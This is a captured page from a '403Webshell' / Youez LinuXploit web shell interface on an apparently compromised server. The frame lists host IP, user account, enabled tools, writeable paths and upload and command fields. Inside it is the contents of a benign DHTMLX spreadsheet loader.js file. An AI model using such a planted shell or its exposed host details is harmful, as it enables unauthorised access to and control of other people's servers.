403Webshell
Server IP : 50.21.180.56  /  Your IP : 216.73.216.208
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : ws67922704 ( 67922704)
PHP Version : 8.5.13
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/proc/thread-self/cwd/wp-content/plugins_old/dhtmlxspreadsheet/codebase/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/proc/thread-self/cwd/wp-content/plugins_old/dhtmlxspreadsheet/codebase/loader.js
/**
 (c) DHTMLX Ltd, 2011
 Licensing: You allowed to use this component for free under GPL or you need to obtain Commercial/Enterprise license to use it in non-GPL project
 Contact: sales@dhtmlx.com
 **/
function source_loader(filename, type, callback) {
	type = type || "js";
	switch (type) {
		case "js":
			var source = document.createElement('script');
			source.setAttribute("type", "text/javascript");
			source.setAttribute("src", filename);
			break;
		case "css":
			var source = document.createElement("link");
			source.setAttribute("rel", "stylesheet");
			source.setAttribute("type", "text/css");
			source.setAttribute("href", filename);
			document.getElementsByTagName("head")[0].appendChild(source);
			break;
		default:
			//do nothing
			break;
	}
	if (callback) {
		if (navigator.appName.indexOf("Microsoft") != -1){
			source.onreadystatechange = function() {
				if ((this.readyState == 'complete')||(this.readyState == 'loaded')) {
					callback();
				}
			};
		}
		else
			source.onload = callback;
	}
	document.getElementsByTagName("head")[0].appendChild(source);
	return source;
}

/*! DEPENDS */
var depends = {
	js: [ 'spreadsheet.php?load=js' ],
	css: [
		'dhtmlx_core.css',
		'dhtmlxspreadsheet.css'
	]
};
if (window.cfg.skin === 'dhx_web') {
	depends.css.push('dhtmlxspreadsheet_dhx_web.css');
	depends.css.push('skins/dhtmlxgrid_dhx_web.css');
	depends.css.push('skins/dhtmlxtoolbar_dhx_web.css');
}

for (var i = 0; i < depends.js.length; i++)
	source_loader(window.cfg['dhx_rel_path'] + depends.js[i], 'js', onload_func);
for (var i = 0; i < depends.css.length; i++)
	source_loader(window.cfg['dhx_rel_path'] + depends.css[i], 'css');


/*! INITIALIZATION */
var dhx_sh;
function onload_func() {
	window.setTimeout(function() {
		dhx_sh = new window.dhtmlxSpreadSheet({
			load: window.cfg.load || window.cfg['dhx_rel_path'] + "php/data.php",
			save: window.cfg.save || window.cfg['dhx_rel_path'] + "php/data.php",
			parent: window.cfg.parent || null,
			icons_path: window.cfg['dhx_rel_path'] + "imgs/icons/",
			image_path: window.cfg['dhx_rel_path'] + "imgs/",
			skin: window.cfg.skin || 'dhx_skyblue',
			autowidth: typeof(window.cfg.autowidth) !== 'undefined' ? window.cfg.autowidth : false,
			autoheight: typeof(window.cfg.autoheight) !== 'undefined' ? window.cfg.autoheight : false,
			math: typeof(window.cfg.math) !== 'undefined' ? window.cfg.math : false
		});
		dhx_sh.load(window.cfg.sheet||"1", window.cfg.key||null);
	}, 1);
}

Youez - 2016 - github.com/yon3zu
LinuXploit